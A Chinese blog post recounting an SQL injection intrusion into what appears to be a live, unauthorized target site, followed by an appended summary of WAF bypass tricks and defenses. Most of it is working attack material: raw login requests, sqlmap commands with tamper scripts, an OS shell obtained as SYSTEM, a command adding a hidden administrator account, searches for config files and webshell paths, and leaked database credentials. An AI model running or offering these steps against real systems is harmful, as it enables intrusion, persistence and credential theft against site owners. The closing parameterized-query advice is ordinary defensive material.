记一次SQL注入简单bypass

本文详细记录了一次SQL注入攻击的过程,从发现注入点到利用tamper绕过过滤,再到数据库渗透和OS shell获取。过程中涉及了对数据库版本的探测、过滤规则的测试、payload构造以及数据库信息的获取。最终,虽然未能完全控制服务器,但已成功获取到部分系统信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

x00 存在 SQL 注入

总之是遇到一个站,登录的页面,数据包大致如下:

 
POST /jsweb/userlogin/UserLoginAction.aspx HTTP/1.1Host: 115.xxx.xxx.xxx:8042Content-Length: 47Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://115.xxx.xxx.xxx:8042Referer: http://115.xxx.xxx.xxx:8042/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: ASP.NET_SessionId=bxdzehxa5mvoco1fkrjlbqbtConnection: closeuname=admin*&pwd=dskfsdkf&valCode=1197&telphone=

其中验证码可以绕过,而登录名那里存在注入

 

 

使用 and 1=1、and 1=2 时,发现过滤了空格,用/**/代替

0x01 简单看一下

中间件是 IIS,存在 len 函数,确定为 SQLServer

Order by 一下,看看能不能 union,发现有 10 列

尝试 union select

admin 转换为 int 时出错,感觉好像能显示位,测试发现确实可以显示

可以获取数据库版本,可以确定有 union 注入了

0x02 sqlmap

sqlmap跑一下:

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment

比较奇怪,手工的时候可以 union 的,先看看 boolean-based 获取数据吧

--current-db 倒是能获取到数据库名为 ExamDataP_2019,但是获取表名的时候就返回空了

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment -D ExamDataP_2019 --tables

能判断出来有注入,手工测试 and 1=1 时可以,测试 union 也可以,看来确实有过滤

0x03 探测过滤

看看过滤了啥,union 比较快,就用 union、-v 5 看下 payload

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment --technique=U --current-db -v 5

直接拿最后一个 payload 测试下

提示 98 附近有错误

感觉像过滤了char之类的函数,char 移到显示位,测一下

发现有加号的时候出错,没有的时候就没问题,可能是处理加号了

移到显示位测了下,确实处理加号了,替换为空了

0x04 tamper

去网上找了能替换加号的,没有找到相关信息,后来想着 sqlmap 的 tamper 会不会有,结果还真有

有两个 tamper,一个是适用 2012 的,一个是 2008 的,我们这里的数据库是 08 的,用 plus2fnconcat.py 这个,可以判断出来数据库了

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment,plus2fnconcat --technique=U --current-db

Emmmmm,可以获取数据库表,但是获取表的列名时依然不返回数据

0x05 再次探测过滤

同样 -v 3 看 payload,然后测试

有语法错误,估计又是那个被替换为空了,慢慢试。。。

看了下语句,涉及到的也就是 union、select、concat、cast、from、syscolumns、sysobjects、where、and 这些个可能被过滤的,union、select 没问题,前面测试过了,剩下的被处理的关键字感觉大概率是 from、and。。。。

语法错误。。。应该就是 from 了。能报错,还是想法报错到显示位

emmmm,感觉好像没有哪里过滤。。。但就是有语法错误。。。

网上查了下,其实前面的 from 出错是因为表的原因,from 1,没有 1 这个表,所以出错。。。。。

sqlserver 和 mysql 不一样,还是用的少。。。

但是再次找个 pyaload 尝试依然有问题,不返回数据

同样的语句本地测试是可以返回数据的,费解

0x06 os-shell

实在没法了,--is-dba 为 True,直接 --os-shell

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment,plus2fnconcat --os-shell

emmmmmm,system,啥都不说了。。。。。

看下端口

添加用户不行,卡死,估计是被拦截了

net user Guest1 Aa123456. /add & net localgroup administrators Guest1 /add & net user Guest1 /active:yes

看了下 tasklist,有 360,先传个 shell 吧,方便后续渗透

找路径:

dir /s /b e:\"username.jpg"

通过 echo 写 txt 判断路径,试了几个都不是,写中文路径提示不存在。。。。。

本来网上查可以用 bat 写中文路径文件,用了 certutil、bitsadmin、powershell 都没有下载成功

看下有没有不是不包含中文的 web 路径:

type C:\Windows\System32\inetsrv\config\applicationHost.config

发现 80 端口路径为 c:\inetpub\wwwroot

写一句话:

访问后出错

后续测试发现通过浏览器写中文名的话可以,创建了文件 9d.txt,证明网站路径就是 e:\江xxxx网站\JsWeb

现在的话就知道了目标的绝对路径为 e:\江xxxx网站\JsWeb\,同时目标的 80 端口的绝对路径为 c:\inetpub\wwwroot

PS: 由于当时有别的事,没有继续向下做,其实还可以数据库备份 shell 到网站目录,后续也见到了一个不会出现 “/” 应用程序中的服务错误的 webshell

0x07 找数据库信息

找 Web.config,

dir /s /b e:\"Web.config",type e:\b2cexam\web.config

获取到一个数据库用户名密码user id=kw;password=123456;

推荐阅读:牛逼!超级黑客用10部分讲明白Git (建议收藏)

 

### SQL 注入绕过的实现与防御 #### 绕过 SQL 注入防护的技术细节 SQL 注入是一种常见的安全漏洞,攻击者可以通过输入恶意的 SQL 语句来操控数据库。为了绕过 WAF(Web 应用防火墙)或其他防护机制,通常会利用特定数据库特性和编码技巧。 1. **MySQL 特有的注释符** MySQL 支持多种注释形式,其中 `/*` 和 `*/` 是多行注释的一部分。如果 WAF 对某些关键字进行了严格匹配,则可以使用这些注释符来分割敏感字符序列[^1]。例如,在 URL 中构造请求时,可以将 `database()` 替换为 `database/**/()` 来规避检测。 2. **基于数据库管理系统的特性** 针对不同的数据库管理系统(DBMS),其语法和功能有所不同。因此,绕过策略也会因目标 DBMS 而异。核心思想是通过混淆或伪装 SQL 查询结构,使其能够避开 WAF 的过滤规则但仍能被数据库解析并执行[^2]。 3. **自动化工具的应用** 使用现成的安全测试框架如 Sqlmap 可以显著提高效率。Sqlmap 提供了 tamper 功能模块,允许用户自定义脚本来修改原始 payload,从而适应复杂的环境需求[^3]。这使得即使面对高度定制化的 WAF,也能找到潜在的突破口。 4. **具体绕过实例分析** - 利用 `%0a` 字符代替换行操作:当正则表达式中加入了 `/i` 标志表示忽略大小写时,可能遗漏掉一些特殊情况下的转义处理[^4]。比如 `'sql.php?id=1 union%0aselect 1,schema name3%0afrom /!12345information schema.schemata'` 就是一个典型例子。 - 去除冗余括号简化查询字符串:有时直接移除不必要的函数调用也可以达到目的。像这样去掉 `database()` 函数后的效果一样有效——`http://example.com/Less-1/?id=-1'union/*/!*!/*/select1,database,3--+`[^5]。 #### 如何防范 SQL 注入? 尽管上述方法展示了如何突破现有防线,但从长远来看更重要的是构建坚固可靠的防御体系: 1. **参数化查询** 推荐始终采用预编译语句或者存储过程的方式访问后台数据资源。这种方式从根本上杜绝了拼接外部可控变量进入内部逻辑的可能性。 2. **最小权限原则** 确保应用程序使用的数据库账户仅具备完成业务所需最低限度的操作权利。即便发生泄露事件也不会造成灾难性的后果。 3. **白名单验证输入** 实施严格的前端校验固然重要,但更应注重服务端层面的数据清洗工作。只接受预期范围内的值类型及长度限制有助于减少意外情况的发生概率。 4. **定期更新补丁程序** 关注官方发布的最新版本动态及时修补已知缺陷;同时部署专业的入侵检测设备密切监控异常行为模式变化趋势。 ```python # 参数化查询示例代码 import mysql.connector conn = mysql.connector.connect(user='root', password='', host='localhost', database='testdb') cursor = conn.cursor() query = ("SELECT * FROM users WHERE username=%s AND password=%s") username_input = input("Enter your Username:") password_input = input("Enter your Password:") cursor.execute(query, (username_input, password_input)) result = cursor.fetchall() print(result) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值